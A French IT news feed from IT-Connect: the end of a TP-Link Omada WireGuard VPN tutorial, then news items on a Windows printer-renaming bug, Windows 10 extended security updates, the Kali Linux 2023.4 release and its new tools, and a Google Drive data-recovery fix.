<figure class="wp-block-image size-full"><img decoding="async" width="800" height="216" src="media/0353500e.TP-Link-Omada-WireGuard-Public-Key.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Public-Key.jpg" alt="" class="wp-image-72950" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Public-Key.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Public-Key-550x149.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Public-Key-150x41.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Public-Key-768x207.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Public-Key-50x14.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour la suite, nous devons <strong>basculer sur le poste de travail qui doit se connecter au VPN WireGuard</strong>. Après avoir installé l'application officielle, nous devons <strong>ajouter un nouveau tunnel vide</strong> que nous allons configurer nous-mêmes.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="801" height="582" src="media/905db286.TP-Link-Omada-Configurer-WireGuard-Etape-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-2.jpg" alt="TP-Link Omada - Configurer WireGuard - Etape 2" class="wp-image-72948" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-2.jpg 801w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-2-550x400.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-2-150x109.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-2-768x558.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-2-50x36.jpg 50w" sizes="(max-width: 801px) 100vw, 801px" /></figure>



<p>Après avoir donné un nom à ce tunnel, nous devons le configurer. Voici les options à renseigner :</p>



<ul>
<li><strong>Address = 10.0.0.1/24 </strong>: il s'agit de l'adresse IP de ce client dans le tunnel WireGuard (utilisez une adresse IP par client WireGuard)</li>



<li><strong>DNS = 1.1.1.1 </strong>: le serveur DNS à utiliser sur l'interface WireGuard (surtout utile en mode full-tunnel)</li>



<li><strong>[Peer] </strong>: ce bloc sert à déclarer le peer distant, en l'occurrence notre routeur Omada</li>



<li><strong>PublicKey </strong>: la clé publique du routeur Omada, à récupérer depuis l'interface du contrôleur</li>



<li><strong>AllowedIPs = 192.168.1.0/24</strong> : les réseaux accessibles via ce VPN, ici le LAN du site distant. Nous pourrions limiter à certaines adresses IP, ou au contraire indiquer "<strong>0.0.0.0/0</strong>" pour que tous les flux du PC passent par le VPN WireGuard</li>



<li><strong>Endpoint = &lt;IP publique du routeur&gt;:51820</strong> : adresse IP publique du peer WireGuard, en l'occurrence ici notre routeur Omada</li>
</ul>



<p>Une fois la configuration établie, <strong>copiez la clé publique</strong> car nous allons devoir la déclarer sur Omada et cliquez sur "<strong>Enregistrer</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="658" height="517" src="media/0c323c94.TP-Link-Omada-Configurer-WireGuard-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-3.png" alt="" class="wp-image-72947" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-3.png 658w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-3-550x432.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-3-150x118.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-3-50x39.png 50w" sizes="(max-width: 658px) 100vw, 658px" /></figure>



<p>Retour sur l'interface Omada... Afin de déclarer un nouveau peer via l'onglet "Peers" et le bouton "Create New Peer". Ici, nous devons donner un nom à ce peer, par exemple le nom de l'ordinateur, choisir une interface et déclarer deux informations très importantes :</p>



<ul>
<li><strong>Allow Address</strong> : l'adresse IP du peer dans le tunnel WireGuard, en reprenant la valeur indiquée côté PC client au niveau de l'option "<strong>Address = 10.0.0.1/24</strong>". Ceci implique que dans le sens "routeur vers PC", le tunnel permettra uniquement les communications avec le point de terminaison représenté par le PC.</li>



<li><strong>Public Key</strong> : la clé publique de notre peer WireGuard</li>
</ul>



<p>Validez quand c'est fait.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="698" src="media/d062ea6f.TP-Link-Omada-WireGuard-Declarer-peer.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Declarer-peer.png" alt="TP-Link Omada - WireGuard - Déclarer peer" class="wp-image-72949" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Declarer-peer.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Declarer-peer-550x480.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Declarer-peer-150x131.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Declarer-peer-768x670.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-WireGuard-Declarer-peer-50x44.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Tout est prêt ! Il ne reste plus qu'à tester !</strong></p>



<p>Sur le poste de travail, nous allons<strong> activer le VPN WireGuard</strong> ! Il va rapidement passer sur l'état "<strong>Activée</strong>" et nous pourrons commencer à l'utiliser. Ainsi, les machines situées sur le réseau "<strong>192.168.1.0/24</strong>" deviennent joignable au travers de ce VPN.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="659" height="516" src="media/ca6a9f79.TP-Link-Omada-Configurer-WireGuard-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-4.png" alt="TP-Link Omada - Configurer WireGuard - Etape 4" class="wp-image-72946" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-4.png 659w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-4-550x431.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-4-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-4-50x39.png 50w" sizes="(max-width: 659px) 100vw, 659px" /></figure>



<p>Du côté d'Omada, nous pouvons suivre les connexions VPN à cet endroit :<strong> Insights &gt; VPN Status &gt; WireGuard VPN</strong>. Nous pouvons voir que le peer "PC-FBURNEL" est connecté et nous avons <strong>quelques statistiques</strong> sur la quantité de données transférées.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-10 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/764e7875.TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions.jpg"><img decoding="async" width="1200" height="508" data-id="72945" src="media/764e7875.TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions.jpg" alt="TP-Link Omada - Configurer WireGuard - Suivi des connexions" class="wp-image-72945" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions-550x233.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions-800x339.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions-150x64.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions-768x325.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Suivi-des-connexions-50x21.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p><strong>WireGuard fonctionne très bien avec la solution Omada de TP-Link !</strong> C'est une bonne nouvelle puisque ce protocole est nettement plus performant qu'OpenVPN. Si l'on prend l'exemple du transfert de fichiers, il y a une différence énorme (de plusieurs dizaines Mo/s).</p>



<h3 class="wp-block-heading">G. Serveur Radius</h3>



<p>Omada, en l'occurrence ici, le routeur TP-Link ER7206, intègre<strong> un serveur Radius</strong>. Ceci signifie que vous pouvez utiliser ce serveur Radis dans plusieurs scénarios, notamment l'<strong>authentification 802.1X</strong>, mais également pour le déploiement d'<strong>un réseau Wi-Fi protégé par WPA3-Enterprise</strong>.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-11 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/f3dcc27a.TP-Link-Omada-Serveur-Radius.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius.png"><img decoding="async" width="801" height="759" data-id="72936" src="media/f3dcc27a.TP-Link-Omada-Serveur-Radius.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius.png" alt="" class="wp-image-72936" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius.png 801w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius-550x521.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius-150x142.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius-768x728.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Serveur-Radius-50x47.png 50w" sizes="(max-width: 801px) 100vw, 801px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/3b7b4412.TP-Link-Omada-Radius-WPA3-Enterprise.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise.png"><img decoding="async" width="800" height="760" data-id="72937" src="media/3b7b4412.TP-Link-Omada-Radius-WPA3-Enterprise.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise.png" alt="" class="wp-image-72937" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise-550x523.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise-150x143.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise-768x730.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Radius-WPA3-Enterprise-50x48.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p></p>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p><strong>La solution TP-Link Omada intègre toutes les fonctionnalités nécessaires pour assurer le déploiement, l'administration et la sécurisation des équipements réseau d'un ensemble de réseaux informatiques. </strong></p>



<p>Grâce à votre propre plateforme Cloud et à la configuration des bonnes options, vous pouvez industrialiser le déploiement de routeurs, switchs et points d'accès Wi-Fi. Une fois les équipements déployés sur ce site, ils hériteront des paramètres de configuration et de sécurité définis sur Omada. D'ailleurs, vous avez pu découvrir ces différentes fonctionnalités visant à renforcer la sécurité de vos réseaux, que ce soit par l'intermédiaire du filtrage de paquets et des flux, mais aussi la restriction de certaines applications et services.</p>



<p><strong>Pour approfondir le sujet, rendez-vous sur le site officiel de TP-Link :</strong></p>



<ul>
<li><a href="https://cutt.ly/itconnect_omada_security_122023tpl" target="_blank" rel="noopener nofollow" title="">Présentation Solution Omada</a></li>



<li><a href="https://cutt.ly/itconnect_omada_controller_122023tpl" target="_blank" rel="noopener nofollow" title="">En savoir - encore plus - sur le contrôleur Omada</a></li>
</ul>



<p>Si vous avez des questions sur cette solution, n'hésitez pas à poster un commentaire sur cet article !</p>



<p><em>Cet article contient une communication commerciale.</em></p><p>The post <a href="https://www.it-connect.fr/tp-link-omada-deployer-plateforme-cloud-manager-reseaux-securite/">TP-Link Omada SDN : déployez votre propre plateforme Cloud pour manager vos réseaux et votre sécurité</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73167
uri: Ce-bug-sous-Windows-renomme-toutes-les-imprimantes-en-HP-LaserJet
url: https://www.it-connect.fr/bug-windows-imprimantes-renommees-hp-laserjet-m101-106-que-faire/
title:
Ce bug sous Windows renomme toutes les imprimantes en « HP LaserJet M101-M106 » : que se passe-t-il ?

content:
<p><strong>Les utilisateurs de Windows 10 (et Windows 11) sont affectés par un bug plutôt étonnant : l'application HP Smart s'installe toute seule et toutes les imprimantes de la machine sont renommées en HP LaserJet M101-M106. Que se passe-t-il ? Voici ce que l'on sait !</strong></p>



<p>Commençons par une précision importante : il s'agit d'<strong>un bug connu chez Microsoft</strong>. Autrement dit, bien que ce qu'il se passe soit étonnant et suspect, ce n'est pas un signe de compromission de l'ordinateur, comme certains utilisateurs pourraient le penser. Il y a un échange entre utilisateurs sur <a href="https://answers.microsoft.com/en-us/windows/forum/all/why-all-my-printer-model-converted-to-hp-laserjet/1b39d3c1-199e-4a5f-987f-729401d7e8f5" target="_blank" rel="noopener nofollow" title="">cette page </a>du forum Microsoft.</p>



<p>Depuis plusieurs jours, des utilisateurs ont constaté que<strong> l'application <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-reseau/hp/" target="_blank" rel="noopener" title="HP" data-wpil-keyword-link="linked">HP</a> Smart est présente sur leur machine</strong> alors qu'ils n'ont pas d'imprimante HP à la maison ou au bureau, et qu'ils n'ont jamais installé cette application. Par ailleurs, et en complément de la présence de cette application,<strong> toutes les imprimantes sont renommées en "HP LaserJet M101-M106"</strong>, que ce soit des imprimantes HP ou d'autres marques ! A cela s'ajoute un troisième problème : lors d'un double-clic sur une imprimante, le message d'erreur "<strong>Aucune tâche n'est disponible pour cette page</strong>" s'affiche.</p>



<p>Microsoft affirme sur son site que ce problème se produit uniquement sur les machines qui ont un accès au Microsoft Store (et à Internet) : "Certains problèmes liés à la configuration des imprimantes sont observés sur les appareils Windows qui ont accès <em>au Microsoft Store. Microsoft enquête sur ce problème et coordonne une solution avec ses partenaires.</em>" - D'après Microsoft, <strong>ce bug n'empêche pas d'imprimer des documents.</strong></p>



<p>Pour le moment, l'entreprise américaine<strong> cherche une solution et surtout elle cherche à identifier l'origine du problème</strong> : "<em>Nos investigations indiquent que ce problème n'est pas dû à une mise à jour de HP</em>.", précise l'éditeur sur son site. Pour le moment, il n'y a aucune solution temporaire disponible.</p>



<h2 class="wp-block-heading">Quels sont les systèmes d'exploitation affectés par ce bug ?</h2>



<p>La liste des systèmes d'exploitation affectée par ce bug est longue, très longue même :</p>



<ul>
<li>Windows 10 version 1809, et supérieur</li>



<li>Windows 11 version 21H2, et supérieur</li>



<li><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/" target="_blank" rel="noopener" title="Windows Server" data-wpil-keyword-link="linked">Windows Server</a> 2012 et supérieur, donc jusqu'à Windows Server 2022</li>
</ul>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-windows-bug-renames-printers-to-hp-laserjet-m101-m106/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/bug-windows-imprimantes-renommees-hp-laserjet-m101-106-que-faire/">Ce bug sous Windows renomme toutes les imprimantes en « HP LaserJet M101-M106 » : que se passe-t-il ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73172
uri: Fin-du-support-de-Windows-10-tout-le-monde-pourra-bénéficier-du-pr
title:
Fin du support de Windows 10 : tout le monde pourra bénéficier du programme ESU (mais il faudra payer)

url:
https://www.it-connect.fr/fin-du-support-de-windows-10-tout-le-monde-pourra-beneficier-du-programme-esu-mais-il-faudra-payer/

content:
<p><strong>Dans un nouvel article, Microsoft est revenu en détail sur la fin du support à venir de Windows 10 et sur les différentes options offertes aux utilisateurs pour continuer à profiter des mises à jour de sécurité. Voici ce qu'il faut savoir !</strong></p>



<p>Windows 10 22H2 est la version actuelle de Windows 10 et c'est également la dernière : ce qui ne l'empêche pas d'évoluer puisque Microsoft est en train de déployer <a href="https://www.it-connect.fr/la-mise-a-jour-kb5032278-pour-windows-10-ajoute-microsoft-copilot/" target="_blank" rel="noopener" title="La mise à jour KB5032278 pour Windows 10 ajoute Microsoft Copilot !">l'assistant IA Microsoft Copilot sur cette version de Windows 10</a>. Nous savons que <strong>son support prendra fin le 14 octobre 2025</strong>, et cela ne changera pas. D'ici là, nous allons bénéficier des mises à jour mensuelles, avec notamment les correctifs de sécurité via les habituels Patch Tuesday.</p>



<p><strong>Mais, après le 14 octobre 2025, que va-t-il se passer ?</strong></p>



<p>"Lorsque Windows 10 atteindra la fin de son support, Microsoft ne fournira plus de correctifs pour les problèmes, de correctifs<em>, de sécurité pour les vulnérabilités, de mises à jour du fuseau horaire ou de support technique pour les problèmes qui pourraient survenir.</em>", <a href="https://techcommunity.microsoft.com/t5/windows-it-pro-blog/plan-for-windows-10-eos-with-windows-11-windows-365-and-esu/ba-p/4000414?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">précise Microsoft</a>.</p>



<p>Il y a tout de même des exceptions : <strong>les éditions LTSC de Windows, ainsi que celles pour l'IoT</strong>, qui sont généralement utilisées sur les appareils médicaux ou industriels. Par exemple, le support de <strong>Windows 10 Enterprise LTSC 2019 prendra fin le 9 janvier 2029</strong>. Toutes les dates sont fournies sur <a href="https://learn.microsoft.com/en-us/windows/release-health/release-information?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<p>Bien entendu, l'objectif de Microsoft c'est que vous laissiez tomber Windows 10 pour passer sur Windows 11...</p>



<h2 class="wp-block-heading">Le programme Extended Security Updates (ESU) sera disponible pour tout le monde !</h2>



<p>Pour les utilisateurs qui ne peuvent pas ou ne veulent pas passer sur Windows 11, il y a une solution pour rester sur Windows 10 tout en <strong>bénéficiant des mises à jour de sécurité </strong>: le programme <strong>Extended Security Updates (ESU)</strong>. L'objectif de ce programme est bien de fournir uniquement des correctifs de sécurité.</p>



<p>Habituellement réservé aux professionnels, <strong>le programme ESU pour Windows 10 sera disponible pour tout le monde</strong> ! Cela signifie que même<strong> les particuliers pourront en bénéficier</strong>, mais il faudra <strong>payer </strong>! Pour le moment, <strong>Microsoft n'a pas indiqué le prix</strong> : "<em>Les prix définitifs et les conditions d'inscription seront communiqués à l'approche de la date de fin de support fixée à octobre 2025, soit environ un an avant la fin du support de Windows 10.</em>", peut-on lire sur le site de l'entreprise américaine.</p>



<p>Dans tous les cas, le programme ESU se présente sous la forme d'<strong>un abonnement annuel </strong>qu'il est possible de<strong> renouveler pour 3 ans maximum</strong>.</p>



<h2 class="wp-block-heading">L'alternative Windows 365</h2>



<p>Windows 365, c'est l'offre de PC dans le <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a> de Microsoft. Si vous utilisez cette solution pour accéder à un PC Cloud sous Windows 11, <strong>Microsoft est prêt à vous offrir 3 ans d'ESU sur votre PC physique qui lui est sous Windows 10</strong> : "<em>Les abonnements à Windows 365 incluront des mises à jour de sécurité étendues (ESU) sans frais supplémentaires pour les appareils Windows 10 qui accèdent à Windows 365.</em>", peut-on lire sur le site de Microsoft.</p>



<p>Par ailleurs, Microsoft proposera également l'accès au programme ESU sans frais supplémentaires pour<strong> les instances Windows 10 hébergées dans <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/tutos-azure/" target="_blank" rel="noopener" title="Azure" data-wpil-keyword-link="linked">Azure</a> Virtual Desktop</strong> (consommation exclue, bien entendu).</p><p>The post <a href="https://www.it-connect.fr/fin-du-support-de-windows-10-tout-le-monde-pourra-beneficier-du-programme-esu-mais-il-faudra-payer/">Fin du support de Windows 10 : tout le monde pourra bénéficier du programme ESU (mais il faudra payer)</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73183
title: Kali Linux 2023.4 est disponible ! Quelles sont les nouveautés ?
uri: Kali-Linux-2023-4-est-disponible-Quelles-sont-les-nouveautés
url: https://www.it-connect.fr/kali-linux-2023-4-est-disponible-quelles-sont-les-nouveautes/
content:
<p><strong>La quatrième et dernière version de Kali Linux pour l'année 2023, à savoir Kali Linux 2023.4, est disponible pour tout le monde ! Faisons le point sur les nouveautés !</strong></p>



<p>Pour cette dernière version de l'année 2023, les développeurs n'ont pas apporté de modifications au core de Kali Linux. Toutefois, Kali Linux est désormais livré avec<strong> l'environnement de bureau GNOME 45</strong>, disponible depuis septembre 2023. Comme à chaque fois, nous avons également le droit à <strong>un ensemble de nouveaux outils : il y en a 15 en plus</strong> dans Kali Linux 2023.4.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="503" src="media/66039fc5.Kali-Linux-Gnome-45.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Kali-Linux-Gnome-45.jpg" alt="Kali Linux - Gnome 45" class="wp-image-73186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Kali-Linux-Gnome-45.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Kali-Linux-Gnome-45-550x346.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Kali-Linux-Gnome-45-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Kali-Linux-Gnome-45-768x483.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Kali-Linux-Gnome-45-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : kali.org</figcaption></figure>



<p>Par équipe l'Offensive Security a également <strong>créé de nouvelles versions de Kali Linux pour Amazon AWS et Microsoft Azure</strong>. Sur la marketplace de ces deux Cloud, Kali Linux <strong>AMD64</strong> et <strong>ARM64 </strong>sont disponibles, ce qui vous permet de déployer facilement Kali Linux sur le Cloud. Il y a également une <strong>nouvelle image de Kali Linux pour le Raspberry Pi 5</strong>. Par ailleurs, les développeurs ont également ajouté le support pour le <strong>déploiement de Kali Linux sur Hyper-V en utilisant Vagrant</strong>.</p>



<h2 class="wp-block-heading">Les nouveaux outils de Kali Linux 2023.4</h2>



<p>Voici la liste des 15 outils ajoutés à Kali Linux 2023.4 :</p>



<ul>
<li><a href="https://github.com/eclecticiq/cabby" target="_blank" rel="noopener nofollow" title="">cabby</a> : un client TAXII développé en Python</li>



<li><a href="https://github.com/oasis-open/cti-taxii-client" target="_blank" rel="noopener nofollow" title="">cti-taxii-client</a> : une bibliothèque pour le client TAXII 2</li>



<li><a href="https://github.com/eclecticiq/OpenTAXII" target="_blank" rel="noopener nofollow" title="">OpenTAXII</a> : implémentation de TAXII Server</li>



<li><a href="https://github.com/cddmp/enum4linux-ng" target="_blank" rel="noopener nofollow" title="">enum4linux-ng</a> : la version nouvelle génération de l'outil d'énumération Windows / Samba "enum4linux.pl"</li>



<li><a href="https://github.com/aydinnyunus/exifLooter" target="_blank" rel="noopener nofollow" title="">exiflooter</a> : analyser des images à la recherche de données de géolocalisation (via les données EXIF)</li>



<li><a href="https://github.com/khast3x/h8mail" target="_blank" rel="noopener nofollow" title="">h8mail </a>: outil d'OSINT pour rechercher un e-mail dans différents services qui référencent les fuites de données (<em>breach hunting tool</em>)</li>



<li><a href="https://github.com/HavocFramework/Havoc" target="_blank" rel="noopener nofollow" title="">Havoc </a>: framework C2 post-exploitation</li>



<li><a href="https://github.com/aydinnyunus/PassDetective" target="_blank" rel="noopener nofollow" title="">PassDetective</a> : analyser l'historique des commandes shell à la recherche de mots de passe, clé d'API, etc.</li>



<li><a href="https://github.com/drk1wi/portspoof" target="_blank" rel="noopener nofollow" title="">Portspoof </a>: outil pour ouvrir les 65 535 ports TCP sur la machine (et émuler la présence de services)</li>



<li><a href="https://github.com/gh0x0st/raven" target="_blank" rel="noopener nofollow" title="">Raven</a> : un serveur web autonome de téléchargement de fichiers, codé en Python</li>



<li><a href="https://github.com/bhavsec/reconspider" target="_blank" rel="noopener nofollow" title="">ReconSpider </a>: framework OSINT pour scanner les adresses IP, e-mails, etc.... et extraire des informations à partir de différentes sources</li>



<li><a href="https://github.com/Cynosureprime/rling" target="_blank" rel="noopener nofollow" title="">rling</a> : similaire à l'utilitaire RLI d'hashcat-utils, mais plus rapide</li>



<li><a href="https://github.com/SigmaHQ/sigma-cli" target="_blank" rel="noopener nofollow" title="">Sigma-Cli </a>: listing et conversion de règles Sigma</li>



<li><a href="https://github.com/kpcyrd/sn0int" target="_blank" rel="noopener nofollow" title="">sn0int</a> : framework OSINT semi-automatique pour énumérer une surface d'attaque</li>



<li><a href="https://github.com/spiffe/spire" target="_blank" rel="noopener nofollow" title="">Spire</a> : SPIFFE Runtime Environment est un ensemble d'outils pour les APIs</li>
</ul>



<p>Rendez-vous sur<a href="https://www.kali.org/blog/kali-linux-2023-4-release/" target="_blank" rel="noopener nofollow" title=""> le site officiel </a>pour en savoir plus sur l'ensemble des changements apportés dans cette nouvelle version.</p><p>The post <a href="https://www.it-connect.fr/kali-linux-2023-4-est-disponible-quelles-sont-les-nouveautes/">Kali Linux 2023.4 est disponible ! Quelles sont les nouveautés ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73192
title: Perte de données Google Drive : voici comment récupérer vos données !
uri: Perte-de-données-Google-Drive-voici-comment-récupérer-vos-donnée
url: https://www.it-connect.fr/perte-de-donnees-google-drive-voici-comment-recuperer-vos-donnees/
content:
<p><strong>Google a résolu le problème qui affecte Google Drive et qui a engendré la perte de données d'utilisateurs : voici les deux solutions proposées pour récupérer vos documents !</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/bug-google-drive-fichiers-supprimes-soudainement-novembre-2023/" target="_blank" rel="noopener" title="">Panique chez Google Drive : des fichiers supprimés soudainement, sans action de la part des utilisateurs !</a></li>
</ul>



<p>Souvenez-vous, il y a une dizaine de jours, c'était la panique chez Google Drive ! De nombreux utilisateurs se plaignaient de la suppression soudaine de fichiers stockés dans leur Drive, sans aucune action de leur part. Dans certains cas, les utilisateurs ont perdu plusieurs mois de données... Les utilisateurs ont clairement montré leur mécontentement, et c'est compréhensible : surtout que certains utilisateurs paient pour avoir un espace de stockage plus important.</p>



<p>Du côté de Google, il fallait d'une part identifier l'origine de ce bug très impactant pour les utilisateurs, et d'autre part, proposer une solution aux utilisateurs permettant la récupération des données perdues. Désormais, nous en savons beaucoup plus sur cet incident !</p>



<p>La firme de Mountain View affirme que <strong>ce problème provient du client <em>desktop </em>de Google Drive</strong>, et plus particulièrement la version 84, avec les versions comprises entre la <strong>84.0.0.0 </strong>et la <strong>84.0.4.0</strong>. Pour la récupération des données, <strong>Google propose deux méthodes.</strong></p>



<h2 class="wp-block-heading">Première méthode : en mode graphique</h2>



<p>Google vous demande de télécharger et d'<strong>installer la dernière version de Google Drive pour desktop</strong>. Autrement dit, il s'agit d'installer la <strong>version 85.0.13.0 </strong>(ou une version plus récente). Après l'installation de la mise à jour, fermez Google Drive et relancez-le pour bénéficier de la nouvelle version.</p>



<p>Ensuite, cliquez sur <strong>l'icône Google Drive</strong> présent dans la zone d'accès rapide de Windows (en bas à droite), puis <strong>cliquez sur l'icône en forme de roue crantée en appuyant en même temps sur la touche MAJ du clavier</strong>. Ceci va permettre de faire apparaître des options supplémentaires, dont celle nommée "<strong>Récupérer à partir de sauvegardes</strong>".</p>



